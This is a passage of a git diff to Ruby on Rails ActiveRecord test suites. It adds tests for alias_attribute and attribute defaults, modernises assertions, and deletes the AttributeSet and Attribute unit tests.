+  ensure
+    threads&.each(&:kill)
+  end
+
   test "read_attribute with nil should not asplode" do
     assert_nil Topic.new.read_attribute(nil)
   end
@@ -968,16 +1338,16 @@ def some_method_that_is_not_on_super
     model = @target.select("id").last!
 
     assert_equal ["id"], model.attribute_names
-    # Sanity check, make sure other columns exist.
+    # Ensure other columns exist.
     assert_not_equal ["id"], @target.column_names
   end
 
   test "came_from_user?" do
     model = @target.first
 
-    assert_not model.id_came_from_user?
+    assert_not_predicate model, :id_came_from_user?
     model.id = "omg"
-    assert model.id_came_from_user?
+    assert_predicate model, :id_came_from_user?
   end
 
   test "accessed_fields" do
@@ -990,15 +1360,276 @@ def some_method_that_is_not_on_super
     assert_equal ["title"], model.accessed_fields
   end
 
-  private
+  test "generated attribute methods ancestors have correct module" do
+    mod = Topic.send(:generated_attribute_methods)
+    assert_equal "Topic::GeneratedAttributeMethods", mod.inspect
+  end
+
+  test "read_attribute_before_type_cast with aliased attribute" do
+    model = NumericData.new(new_bank_balance: "abcd")
+    assert_equal "abcd", model.read_attribute_before_type_cast("new_bank_balance")
+  end
+
+  ToBeLoadedFirst = Class.new(ActiveRecord::Base) do
+    self.table_name = "topics"
+    alias_attribute :subject, :author_name
+  end
+
+  ToBeLoadedSecond = Class.new(ActiveRecord::Base) do
+    self.table_name = "topics"
+    alias_attribute :subject, :title
+  end
+
+  test "#alias_attribute override methods defined in parent models" do
+    parent_model = Class.new(ActiveRecord::Base) do
+      self.abstract_class = true
+
+      def subject
+        "Abstract Subject"
+      end
+    end
+
+    subclass = Class.new(parent_model) do
+      self.table_name = "topics"
+      alias_attribute :subject, :title
+    end
+
+    obj = subclass.new
+    obj.title = "hey"
+    assert_equal("hey", obj.subject)
+  end
+
+  test "aliases to the same attribute name do not conflict with each other" do
+    first_model_object = ToBeLoadedFirst.new(author_name: "author 1")
+    assert_equal("author 1", first_model_object.subject)
+    assert_equal([nil, "author 1"], first_model_object.subject_change)
+    second_model_object = ToBeLoadedSecond.new(title: "foo")
+    assert_equal("foo", second_model_object.subject)
+    assert_equal([nil, "foo"], second_model_object.subject_change)
+  end
+
+  test "#alias_attribute with an overridden original method does not use the overridden original method" do
+    class_with_deprecated_alias_attribute_behavior = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+      alias_attribute :subject, :title
+
+      def title_was
+        "overridden_title_was"
+      end
+    end
+
+    obj = class_with_deprecated_alias_attribute_behavior.new
+    obj.title = "hey"
+    assert_equal("hey", obj.subject)
+    assert_nil(obj.subject_was)
+  end
+
+  test "#alias_attribute with an overridden original method from a module does not use the overridden original method" do
+    title_was_override = Module.new do
+      def title_was
+        "overridden_title_was"
+      end
+    end
+
+    class_with_deprecated_alias_attribute_behavior_from_module = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+      include title_was_override
+      alias_attribute :subject, :title
+    end
+
+    obj = class_with_deprecated_alias_attribute_behavior_from_module.new
+    obj.title = "hey"
+    assert_equal("hey", obj.subject)
+    assert_nil(obj.subject_was)
+  end
+
+  ClassWithDeprecatedAliasAttributeBehaviorResolved = Class.new(ActiveRecord::Base) do
+    self.table_name = "topics"
+    alias_attribute :subject, :title
+
+    def title_was
+      "overridden_title_was"
+    end
+
+    def subject_was
+      "overridden_subject_was"
+    end
+  end
+
+  test "#alias_attribute with an overridden original method along with an overridden alias method uses the overridden alias method" do
+    obj = ClassWithDeprecatedAliasAttributeBehaviorResolved.new
+    obj.title = "hey"
+    assert_equal("hey", obj.subject)
+    assert_equal("overridden_subject_was", obj.subject_was)
+  end
+
+  test "#alias_attribute with an overridden original method along with an overridden alias method in a parent class uses the overridden alias method" do
+    child_with_deprecated_behavior_resolved = Class.new(ClassWithDeprecatedAliasAttributeBehaviorResolved)
+
+    obj = child_with_deprecated_behavior_resolved.new
+    obj.title = "hey"
+    assert_equal("hey", obj.subject)
+    assert_equal("overridden_subject_was", obj.subject_was)
+  end
+
+  ParentWithAlias = Class.new(ActiveRecord::Base) do
+    self.table_name = "topics"
+    alias_attribute :parents_subject, :title
+  end
+
+  AbstractClassInBetween = Class.new(ParentWithAlias) do
+    self.abstract_class = true
+    alias_attribute :parents_subject, :title
+  end
+
+  ChildWithAnAliasFromAbstractClass = Class.new(AbstractClassInBetween) do
+  end
+
+  test "#alias_attribute with the same alias as parent doesn't issue a deprecation" do
+    ParentWithAlias.new # eagerly generate parents alias methods
+    obj = assert_not_deprecated(ActiveRecord.deprecator) do
+      ChildWithAnAliasFromAbstractClass.new
+    end
+    obj.title = "hey"
+    assert_equal("hey", obj.parents_subject)
+  end
+
+  test "#alias_attribute method on an abstract class is available on subclasses" do
+    superclass = Class.new(ActiveRecord::Base) do
+      self.abstract_class = true
+      alias_attribute :id_value, :id
+    end
+    subclass = Class.new(superclass) { self.table_name = "topics" }
+
+    object = subclass.build(id: 123_456)
+
+    assert_equal 123_456, object.id_value
+  end
+
+  test "#alias_attribute with an _in_database method issues raises an error" do
+    class_with_generated_attribute_method_target = Class.new(ActiveRecord::Base) do
+      def self.name
+        "ClassWithGeneratedAttributeMethodTarget"
+      end
+
+      self.table_name = "topics"
+
+      alias_attribute :saved_title, :title_in_database
+    end
+
+    message = <<~MESSAGE.squish
+      ClassWithGeneratedAttributeMethodTarget model aliases
+      `title_in_database`, but `title_in_database` is not an attribute.
+      Use `alias_method :saved_title, :title_in_database` or define the method manually.
+    MESSAGE
+
+    error = assert_raises(ArgumentError) do
+      class_with_generated_attribute_method_target.new
+    end
+
+    assert_equal message, error.message
+  end
+
+  test "#alias_attribute with enum method raises an error" do
+    class_with_enum_method_target = Class.new(ActiveRecord::Base) do
+      def self.name
+        "ClassWithEnumMethodTarget"
+      end
+
+      self.table_name = "books"
+
+      attribute :status, :string
+
+      enum :status, {
+        pending: "0",
+        completed: "1",
+      }
+      alias_attribute :is_pending?, :pending?
+    end
 
+    message = <<~MESSAGE.squish
+      ClassWithEnumMethodTarget model aliases `pending?`, but `pending?` is not an attribute. Use `alias_method :is_pending?, :pending?` or define the method manually.
+    MESSAGE
+
+    error = assert_raises(ArgumentError) do
+      class_with_enum_method_target.new
+    end
+    assert_equal message, error.message
+  end
+
+  test "#alias_attribute with an association method raises an error" do
+    class_with_association_target = Class.new(ActiveRecord::Base) do
+      def self.name
+        "ClassWithAssociationTarget"
+      end
+
+      self.table_name = "books"
+
+      belongs_to :author
+
+      alias_attribute :written_by, :author
+    end
+
+    message = <<~MESSAGE.squish
+      ClassWithAssociationTarget model aliases `author`, but `author` is not an attribute. Use `alias_method :written_by, :author` or define the method manually.
+    MESSAGE
+
+    error = assert_raises(ArgumentError) do
+      class_with_association_target.new
+    end
+    assert_equal message, error.message
+  end
+
+  test "#alias_attribute method on a STI class is available on subclasses" do
+    superclass = Class.new(ActiveRecord::Base) do
+      self.table_name = "comments"
+      alias_attribute :text, :body
+    end
+
+    subclass = Class.new(superclass) do
+      self.abstract_class = true
+    end
+
+    subsubclass = Class.new(subclass)
+
+    comment = subsubclass.build(body: "Text")
+    assert_equal "Text", comment.text
+  end
+
+  test "#alias_attribute with a manually defined method raises an error" do
+    class_with_aliased_manually_defined_method = Class.new(ActiveRecord::Base) do
+      def self.name
+        "ClassWithAliasedManuallyDefinedMethod"
+      end
+
+      self.table_name = "books"
+
+      alias_attribute :print, :publish
+
+      def publish
+        "Publishing!"
+      end
+    end
+
+    message = <<~MESSAGE.squish
+      ClassWithAliasedManuallyDefinedMethod model aliases `publish`, but `publish` is not an attribute.
+      Use `alias_method :print, :publish` or define the method manually.
+    MESSAGE
+
+    error = assert_raises(ArgumentError) do
+      class_with_aliased_manually_defined_method.new
+    end
+    assert_equal message, error.message
+  end
+
+  private
     def new_topic_like_ar_class(&block)
       klass = Class.new(ActiveRecord::Base) do
         self.table_name = "topics"
         class_eval(&block)
       end
 
-      assert_empty klass.generated_attribute_methods.instance_methods(false)
+      assert_empty klass.send(:generated_attribute_methods).instance_methods(false)
       klass
     end
 
@@ -1010,14 +1641,6 @@ def with_time_zone_aware_types(*types)
       ActiveRecord::Base.time_zone_aware_types = old_types
     end
 
-    def cached_columns
-      Topic.columns.map(&:name)
-    end
-
-    def time_related_columns_on_topic
-      Topic.columns.select { |c| [:time, :date, :datetime, :timestamp].include?(c.type) }
-    end
-
     def privatize(method_signature)
       @target.class_eval(<<-private_method, __FILE__, __LINE__ + 1)
         private
diff --git a/activerecord/test/cases/attribute_set_test.rb b/activerecord/test/cases/attribute_set_test.rb
deleted file mode 100644
index bd4b200735af3..0000000000000
--- a/activerecord/test/cases/attribute_set_test.rb
+++ /dev/null
@@ -1,253 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  class AttributeSetTest < ActiveRecord::TestCase
-    test "building a new set from raw attributes" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
-      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
-
-      assert_equal 1, attributes[:foo].value
-      assert_equal 2.2, attributes[:bar].value
-      assert_equal :foo, attributes[:foo].name
-      assert_equal :bar, attributes[:bar].name
-    end
-
-    test "building with custom types" do
-      builder = AttributeSet::Builder.new(foo: Type::Float.new)
-      attributes = builder.build_from_database({ foo: "3.3", bar: "4.4" }, bar: Type::Integer.new)
-
-      assert_equal 3.3, attributes[:foo].value
-      assert_equal 4, attributes[:bar].value
-    end
-
-    test "[] returns a null object" do
-      builder = AttributeSet::Builder.new(foo: Type::Float.new)
-      attributes = builder.build_from_database(foo: "3.3")
-
-      assert_equal "3.3", attributes[:foo].value_before_type_cast
-      assert_nil attributes[:bar].value_before_type_cast
-      assert_equal :bar, attributes[:bar].name
-    end
-
-    test "duping creates a new hash, but does not dup the attributes" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new)
-      attributes = builder.build_from_database(foo: 1, bar: "foo")
-
-      # Ensure the type cast value is cached
-      attributes[:foo].value
-      attributes[:bar].value
-
-      duped = attributes.dup
-      duped.write_from_database(:foo, 2)
-      duped[:bar].value << "bar"
-
-      assert_equal 1, attributes[:foo].value
-      assert_equal 2, duped[:foo].value
-      assert_equal "foobar", attributes[:bar].value
-      assert_equal "foobar", duped[:bar].value
-    end
-
-    test "deep_duping creates a new hash and dups each attribute" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new)
-      attributes = builder.build_from_database(foo: 1, bar: "foo")
-
-      # Ensure the type cast value is cached
-      attributes[:foo].value
-      attributes[:bar].value
-
-      duped = attributes.deep_dup
-      duped.write_from_database(:foo, 2)
-      duped[:bar].value << "bar"
-
-      assert_equal 1, attributes[:foo].value
-      assert_equal 2, duped[:foo].value
-      assert_equal "foo", attributes[:bar].value
-      assert_equal "foobar", duped[:bar].value
-    end
-
-    test "freezing cloned set does not freeze original" do
-      attributes = AttributeSet.new({})
-      clone = attributes.clone
-
-      clone.freeze
-
-      assert clone.frozen?
-      assert_not attributes.frozen?
-    end
-
-    test "to_hash returns a hash of the type cast values" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
-      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
-
-      assert_equal({ foo: 1, bar: 2.2 }, attributes.to_hash)
-      assert_equal({ foo: 1, bar: 2.2 }, attributes.to_h)
-    end
-
-    test "to_hash maintains order" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
-      attributes = builder.build_from_database(foo: "2.2", bar: "3.3")
-
-      attributes[:bar]
-      hash = attributes.to_h
-
-      assert_equal [[:foo, 2], [:bar, 3.3]], hash.to_a
-    end
-
-    test "values_before_type_cast" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
-      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
-
-      assert_equal({ foo: "1.1", bar: "2.2" }, attributes.values_before_type_cast)
-    end
-
-    test "known columns are built with uninitialized attributes" do
-      attributes = attributes_with_uninitialized_key
-      assert attributes[:foo].initialized?
-      assert_not attributes[:bar].initialized?
-    end
-
-    test "uninitialized attributes are not included in the attributes hash" do
-      attributes = attributes_with_uninitialized_key
-      assert_equal({ foo: 1 }, attributes.to_hash)
-    end
-
-    test "uninitialized attributes are not included in keys" do
-      attributes = attributes_with_uninitialized_key
-      assert_equal [:foo], attributes.keys
-    end
-
-    test "uninitialized attributes return false for key?" do
-      attributes = attributes_with_uninitialized_key
-      assert attributes.key?(:foo)
-      assert_not attributes.key?(:bar)
-    end
-
-    test "unknown attributes return false for key?" do
-      attributes = attributes_with_uninitialized_key
-      assert_not attributes.key?(:wibble)
-    end
-
-    test "fetch_value returns the value for the given initialized attribute" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
-      attributes = builder.build_from_database(foo: "1.1", bar: "2.2")
-
-      assert_equal 1, attributes.fetch_value(:foo)
-      assert_equal 2.2, attributes.fetch_value(:bar)
-    end
-
-    test "fetch_value returns nil for unknown attributes" do
-      attributes = attributes_with_uninitialized_key
-      assert_nil attributes.fetch_value(:wibble) { "hello" }
-    end
-
-    test "fetch_value returns nil for unknown attributes when types has a default" do
-      types = Hash.new(Type::Value.new)
-      builder = AttributeSet::Builder.new(types)
-      attributes = builder.build_from_database
-
-      assert_nil attributes.fetch_value(:wibble) { "hello" }
-    end
-
-    test "fetch_value uses the given block for uninitialized attributes" do
-      attributes = attributes_with_uninitialized_key
-      value = attributes.fetch_value(:bar) { |n| n.to_s + "!" }
-      assert_equal "bar!", value
-    end
-
-    test "fetch_value returns nil for uninitialized attributes if no block is given" do
-      attributes = attributes_with_uninitialized_key
-      assert_nil attributes.fetch_value(:bar)
-    end
-
-    test "the primary_key is always initialized" do
-      builder = AttributeSet::Builder.new({ foo: Type::Integer.new }, :foo)
-      attributes = builder.build_from_database
-
-      assert attributes.key?(:foo)
-      assert_equal [:foo], attributes.keys
-      assert attributes[:foo].initialized?
-    end
-
-    class MyType
-      def cast(value)
-        return if value.nil?
-        value + " from user"
-      end
-
-      def deserialize(value)
-        return if value.nil?
-        value + " from database"
-      end
-
-      def assert_valid_value(*)
-      end
-    end
-
-    test "write_from_database sets the attribute with database typecasting" do
-      builder = AttributeSet::Builder.new(foo: MyType.new)
-      attributes = builder.build_from_database
-
-      assert_nil attributes.fetch_value(:foo)
-
-      attributes.write_from_database(:foo, "value")
-
-      assert_equal "value from database", attributes.fetch_value(:foo)
-    end
-
-    test "write_from_user sets the attribute with user typecasting" do
-      builder = AttributeSet::Builder.new(foo: MyType.new)
-      attributes = builder.build_from_database
-
-      assert_nil attributes.fetch_value(:foo)
-
-      attributes.write_from_user(:foo, "value")
-
-      assert_equal "value from user", attributes.fetch_value(:foo)
-    end
-
-    def attributes_with_uninitialized_key
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
-      builder.build_from_database(foo: "1.1")
-    end
-
-    test "freezing doesn't prevent the set from materializing" do
-      builder = AttributeSet::Builder.new(foo: Type::String.new)
-      attributes = builder.build_from_database(foo: "1")
-
-      attributes.freeze
-      assert_equal({ foo: "1" }, attributes.to_hash)
-    end
-
-    test "#accessed_attributes returns only attributes which have been read" do
-      builder = AttributeSet::Builder.new(foo: Type::Value.new, bar: Type::Value.new)
-      attributes = builder.build_from_database(foo: "1", bar: "2")
-
-      assert_equal [], attributes.accessed
-
-      attributes.fetch_value(:foo)
-
-      assert_equal [:foo], attributes.accessed
-    end
-
-    test "#map returns a new attribute set with the changes applied" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
-      attributes = builder.build_from_database(foo: "1", bar: "2")
-      new_attributes = attributes.map do |attr|
-        attr.with_cast_value(attr.value + 1)
-      end
-
-      assert_equal 2, new_attributes.fetch_value(:foo)
-      assert_equal 3, new_attributes.fetch_value(:bar)
-    end
-
-    test "comparison for equality is correctly implemented" do
-      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
-      attributes = builder.build_from_database(foo: "1", bar: "2")
-      attributes2 = builder.build_from_database(foo: "1", bar: "2")
-      attributes3 = builder.build_from_database(foo: "2", bar: "2")
-
-      assert_equal attributes, attributes2
-      assert_not_equal attributes2, attributes3
-    end
-  end
-end
diff --git a/activerecord/test/cases/attribute_test.rb b/activerecord/test/cases/attribute_test.rb
deleted file mode 100644
index 7cf6b498c95e8..0000000000000
--- a/activerecord/test/cases/attribute_test.rb
+++ /dev/null
@@ -1,253 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  class AttributeTest < ActiveRecord::TestCase
-    setup do
-      @type = Minitest::Mock.new
-    end
-
-    teardown do
-      assert @type.verify
-    end
-
-    test "from_database + read type casts from database" do
-      @type.expect(:deserialize, "type cast from database", ["a value"])
-      attribute = Attribute.from_database(nil, "a value", @type)
-
-      type_cast_value = attribute.value
-
-      assert_equal "type cast from database", type_cast_value
-    end
-
-    test "from_user + read type casts from user" do
-      @type.expect(:cast, "type cast from user", ["a value"])
-      attribute = Attribute.from_user(nil, "a value", @type)
-
-      type_cast_value = attribute.value
-
-      assert_equal "type cast from user", type_cast_value
-    end
-
-    test "reading memoizes the value" do
-      @type.expect(:deserialize, "from the database", ["whatever"])
-      attribute = Attribute.from_database(nil, "whatever", @type)
-
-      type_cast_value = attribute.value
-      second_read = attribute.value
-
-      assert_equal "from the database", type_cast_value
-      assert_same type_cast_value, second_read
-    end
-
-    test "reading memoizes falsy values" do
-      @type.expect(:deserialize, false, ["whatever"])
-      attribute = Attribute.from_database(nil, "whatever", @type)
-
-      attribute.value
-      attribute.value
-    end
-
-    test "read_before_typecast returns the given value" do
-      attribute = Attribute.from_database(nil, "raw value", @type)
-
-      raw_value = attribute.value_before_type_cast
-
-      assert_equal "raw value", raw_value
-    end
-
-    test "from_database + read_for_database type casts to and from database" do
-      @type.expect(:deserialize, "read from database", ["whatever"])
-      @type.expect(:serialize, "ready for database", ["read from database"])
-      attribute = Attribute.from_database(nil, "whatever", @type)
-
-      serialize = attribute.value_for_database
-
-      assert_equal "ready for database", serialize
-    end
-
-    test "from_user + read_for_database type casts from the user to the database" do
-      @type.expect(:cast, "read from user", ["whatever"])
-      @type.expect(:serialize, "ready for database", ["read from user"])
-      attribute = Attribute.from_user(nil, "whatever", @type)
-
-      serialize = attribute.value_for_database
-
-      assert_equal "ready for database", serialize
-    end
-
-    test "duping dups the value" do
-      @type.expect(:deserialize, "type cast", ["a value"])
-      attribute = Attribute.from_database(nil, "a value", @type)
-
-      value_from_orig = attribute.value
-      value_from_clone = attribute.dup.value
-      value_from_orig << " foo"
-
-      assert_equal "type cast foo", value_from_orig
-      assert_equal "type cast", value_from_clone
-    end
-
-    test "duping does not dup the value if it is not dupable" do
-      @type.expect(:deserialize, false, ["a value"])
-      attribute = Attribute.from_database(nil, "a value", @type)
-
-      assert_same attribute.value, attribute.dup.value
-    end
-
-    test "duping does not eagerly type cast if we have not yet type cast" do
-      attribute = Attribute.from_database(nil, "a value", @type)
-      attribute.dup
-    end
-
-    class MyType
-      def cast(value)
-        value + " from user"
-      end
-
-      def deserialize(value)
-        value + " from database"
-      end
-
-      def assert_valid_value(*)
-      end
-    end
-
-    test "with_value_from_user returns a new attribute with the value from the user" do
-      old = Attribute.from_database(nil, "old", MyType.new)
-      new = old.with_value_from_user("new")
-
-      assert_equal "old from database", old.value
-      assert_equal "new from user", new.value
-    end
-
-    test "with_value_from_database returns a new attribute with the value from the database" do
-      old = Attribute.from_user(nil, "old", MyType.new)
-      new = old.with_value_from_database("new")
-
-      assert_equal "old from user", old.value
-      assert_equal "new from database", new.value
-    end
-
-    test "uninitialized attributes yield their name if a block is given to value" do
-      block = proc { |name| name.to_s + "!" }
-      foo = Attribute.uninitialized(:foo, nil)
-      bar = Attribute.uninitialized(:bar, nil)
-
-      assert_equal "foo!", foo.value(&block)
-      assert_equal "bar!", bar.value(&block)
-    end
-
-    test "uninitialized attributes have no value" do
-      assert_nil Attribute.uninitialized(:foo, nil).value
-    end
-
-    test "attributes equal other attributes with the same constructor arguments" do
-      first = Attribute.from_database(:foo, 1, Type::Integer.new)
-      second = Attribute.from_database(:foo, 1, Type::Integer.new)
-      assert_equal first, second
-    end
-
-    test "attributes do not equal attributes with different names" do
-      first = Attribute.from_database(:foo, 1, Type::Integer.new)
-      second = Attribute.from_database(:bar, 1, Type::Integer.new)
-      assert_not_equal first, second
-    end
-
-    test "attributes do not equal attributes with different types" do
-      first = Attribute.from_database(:foo, 1, Type::Integer.new)
-      second = Attribute.from_database(:foo, 1, Type::Float.new)
-      assert_not_equal first, second
-    end
-
-    test "attributes do not equal attributes with different values" do
-      first = Attribute.from_database(:foo, 1, Type::Integer.new)
-      second = Attribute.from_database(:foo, 2, Type::Integer.new)
-      assert_not_equal first, second
-    end
-
-    test "attributes do not equal attributes of other classes" do
-      first = Attribute.from_database(:foo, 1, Type::Integer.new)
-      second = Attribute.from_user(:foo, 1, Type::Integer.new)
-      assert_not_equal first, second
-    end
-
-    test "an attribute has not been read by default" do
-      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
-      assert_not attribute.has_been_read?
-    end
-
-    test "an attribute has been read when its value is calculated" do
-      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
-      attribute.value
-      assert attribute.has_been_read?
-    end
-
-    test "an attribute is not changed if it hasn't been assigned or mutated" do
-      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
-
-      refute attribute.changed?
-    end
-
-    test "an attribute is changed if it's been assigned a new value" do
-      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
-      changed = attribute.with_value_from_user(2)
-
-      assert changed.changed?
-    end
-
-    test "an attribute is not changed if it's assigned the same value" do
-      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
-      unchanged = attribute.with_value_from_user(1)
-
-      refute unchanged.changed?
-    end
-
-    test "an attribute can not be mutated if it has not been read,
-      and skips expensive calculations" do
-      type_which_raises_from_all_methods = Object.new
-      attribute = Attribute.from_database(:foo, "bar", type_which_raises_from_all_methods)
-
-      assert_not attribute.changed_in_place?
-    end
-
-    test "an attribute is changed if it has been mutated" do
-      attribute = Attribute.from_database(:foo, "bar", Type::String.new)
-      attribute.value << "!"
-
-      assert attribute.changed_in_place?
-      assert attribute.changed?
-    end
-
-    test "an attribute can forget its changes" do
-      attribute = Attribute.from_database(:foo, "bar", Type::String.new)
-      changed = attribute.with_value_from_user("foo")
-      forgotten = changed.forgetting_assignment
-
-      assert changed.changed? # sanity check
-      refute forgotten.changed?
-    end
-
-    test "with_value_from_user validates the value" do
-      type = Type::Value.new
-      type.define_singleton_method(:assert_valid_value) do |value|
-        if value == 1
-          raise ArgumentError
-        end
-      end
-
-      attribute = Attribute.from_database(:foo, 1, type)
-      assert_equal 1, attribute.value
-      assert_equal 2, attribute.with_value_from_user(2).value
-      assert_raises ArgumentError do
-        attribute.with_value_from_user(1)
-      end
-    end
-
-    test "with_type preserves mutations" do
-      attribute = Attribute.from_database(:foo, "", Type::Value.new)
-      attribute.value << "1"
-
-      assert_equal 1, attribute.with_type(Type::Integer.new).value
-    end
-  end
-end
diff --git a/activerecord/test/cases/attributes_test.rb b/activerecord/test/cases/attributes_test.rb
index 3705a6be89730..76a78f8c76045 100644
--- a/activerecord/test/cases/attributes_test.rb
+++ b/activerecord/test/cases/attributes_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class OverloadedType < ActiveRecord::Base
@@ -49,15 +51,78 @@ class CustomPropertiesTest < ActiveRecord::TestCase
       assert_equal 3, data.overloaded_float
     end
 
+    test ".type_for_attribute supports attribute aliases" do
+      with_alias = Class.new(OverloadedType) do
+        alias_attribute :overloaded_float, :x
+      end
+
+      assert_equal with_alias.type_for_attribute(:overloaded_float), with_alias.type_for_attribute(:x)
+    end
+
     test "overloaded properties with limit" do
       assert_equal 50, OverloadedType.type_for_attribute("overloaded_string_with_limit").limit
       assert_equal 255, UnoverloadedType.type_for_attribute("overloaded_string_with_limit").limit
     end
 
+    test "overloaded default but keeping its own type" do
+      klass = Class.new(UnoverloadedType) do
+        attribute :overloaded_string_with_limit, default: "the overloaded default"
+      end
+
+      assert_equal 255, UnoverloadedType.type_for_attribute("overloaded_string_with_limit").limit
+      assert_equal 255, klass.type_for_attribute("overloaded_string_with_limit").limit
+
+      assert_nil UnoverloadedType.new.overloaded_string_with_limit
+      assert_equal "the overloaded default", klass.new.overloaded_string_with_limit
+    end
+
+    test "attributes with overridden types keep their type when a default value is configured separately" do
+      child = Class.new(OverloadedType) do
+        attribute :overloaded_float, default: "123"
+      end
+
+      assert_equal OverloadedType.type_for_attribute("overloaded_float"), child.type_for_attribute("overloaded_float")
+      assert_equal 123, child.new.overloaded_float
+    end
+
+    test "extra options are forwarded to the type caster constructor" do
+      klass = Class.new(OverloadedType) do
+        attribute :starts_at, :datetime, precision: 3, limit: 2, scale: 1, default: -> { Time.now.utc }
+      end
+
+      starts_at_type = klass.type_for_attribute(:starts_at)
+
+      assert_equal 3, starts_at_type.precision
+      assert_equal 2, starts_at_type.limit
+      assert_equal 1, starts_at_type.scale
+
+      assert_kind_of Type::DateTime, starts_at_type
+      assert_instance_of Time, klass.new.starts_at
+    end
+
+    test "time zone aware attribute" do
+      with_timezone_config aware_attributes: true, zone: "Pacific Time (US & Canada)" do
+        klass = Class.new(OverloadedType) do
+          attribute :starts_at, :datetime, precision: 3, default: -> { Time.now.utc }
+          attribute :ends_at, default: -> { Time.now.utc }
+        end
+
+        starts_at_type = klass.type_for_attribute(:starts_at)
+        ends_at_type   = klass.type_for_attribute(:ends_at)
+
+        assert_instance_of AttributeMethods::TimeZoneConversion::TimeZoneConverter, starts_at_type
+        assert_instance_of AttributeMethods::TimeZoneConversion::TimeZoneConverter, ends_at_type
+        assert_kind_of Type::DateTime, starts_at_type.__getobj__
+        assert_kind_of Type::DateTime, ends_at_type.__getobj__
+        assert_instance_of ActiveSupport::TimeWithZone, klass.new.starts_at
+        assert_instance_of ActiveSupport::TimeWithZone, klass.new.ends_at
+      end
+    end
+
     test "nonexistent attribute" do
       data = OverloadedType.new(non_existent_decimal: 1)
 
-      assert_equal BigDecimal.new(1), data.non_existent_decimal
+      assert_equal BigDecimal(1), data.non_existent_decimal
       assert_raise ActiveRecord::UnknownAttributeError do
         UnoverloadedType.new(non_existent_decimal: 1)
       end
@@ -98,20 +163,24 @@ class CustomPropertiesTest < ActiveRecord::TestCase
 
     test "overloading properties does not attribute method order" do
       attribute_names = OverloadedType.attribute_names
-      assert_equal %w(id overloaded_float unoverloaded_float overloaded_string_with_limit string_with_default non_existent_decimal), attribute_names
+      expected = OverloadedType.column_names + ["non_existent_decimal"]
+      assert_equal expected, attribute_names
     end
 
     test "caches are cleared" do
       klass = Class.new(OverloadedType)
+      column_count = klass.columns.length
 
-      assert_equal 6, klass.attribute_types.length
-      assert_equal 6, klass.column_defaults.length
+      assert_equal column_count + 1, klass.attribute_types.length
+      assert_equal column_count + 1, klass.column_defaults.length
+      assert_equal column_count + 1, klass.attribute_names.length
       assert_not klass.attribute_types.include?("wibble")
 
       klass.attribute :wibble, Type::Value.new
 
-      assert_equal 7, klass.attribute_types.length
-      assert_equal 7, klass.column_defaults.length
+      assert_equal column_count + 2, klass.attribute_types.length
+      assert_equal column_count + 2, klass.column_defaults.length
+      assert_equal column_count + 2, klass.attribute_names.length
       assert_includes klass.attribute_types, "wibble"
     end
 
@@ -144,6 +213,20 @@ def deserialize(*)
       assert_equal 2, klass.new.counter
     end
 
+    test "procs for default values are evaluated even after column_defaults is called" do
+      klass = Class.new(OverloadedType) do
+        @@counter = 0
+        attribute :counter, :integer, default: -> { @@counter += 1 }
+      end
+
+      assert_equal 1, klass.new.counter
+
+      # column_defaults will increment the counter since the proc is called
+      klass.column_defaults
+
+      assert_equal 3, klass.new.counter
+    end
+
     test "procs are memoized before type casting" do
       klass = Class.new(OverloadedType) do
         @@counter = 0
@@ -207,12 +290,12 @@ def deserialize(*)
     end
 
     test "attributes not backed by database columns are not dirty when unchanged" do
-      refute OverloadedType.new.non_existent_decimal_changed?
+      assert_not_predicate OverloadedType.new, :non_existent_decimal_changed?
     end
 
     test "attributes not backed by database columns are always initialized" do
       OverloadedType.create!
-      model = OverloadedType.first
+      model = OverloadedType.last
 
       assert_nil model.non_existent_decimal
       model.non_existent_decimal = "123"
@@ -224,34 +307,43 @@ def deserialize(*)
         attribute :non_existent_decimal, :decimal, default: 123
       end
       child.create!
-      model = child.first
+      model = child.last
 
       assert_equal 123, model.non_existent_decimal
     end
 
+    test "attributes not backed by database columns keep their type when a default value is configured separately" do
+      child = Class.new(OverloadedType) do
+        attribute :non_existent_decimal, default: "123"
+      end
+
+      assert_equal OverloadedType.type_for_attribute("non_existent_decimal"), child.type_for_attribute("non_existent_decimal")
+      assert_equal 123, child.new.non_existent_decimal
+    end
+
     test "attributes not backed by database columns properly interact with mutation and dirty" do
       child = Class.new(ActiveRecord::Base) do
         self.table_name = "topics"
         attribute :foo, :string, default: "lol"
       end
       child.create!
-      model = child.first
+      model = child.last
 
       assert_equal "lol", model.foo
 
       model.foo << "asdf"
       assert_equal "lolasdf", model.foo
-      assert model.foo_changed?
+      assert_predicate model, :foo_changed?
 
       model.reload
       assert_equal "lol", model.foo
 
       model.foo = "lol"
-      refute model.changed?
+      assert_not_predicate model, :changed?
     end
 
     test "attributes not backed by database columns appear in inspect" do
-      inspection = OverloadedType.new.inspect
+      inspection = OverloadedType.new.full_inspect
 
       assert_includes inspection, "non_existent_decimal"
     end
@@ -263,5 +355,58 @@ def deserialize(*)
       assert_equal 1, klass.new(no_type: 1).no_type
       assert_equal "foo", klass.new(no_type: "foo").no_type
     end
+
+    test "attributes do not require a connection is established" do
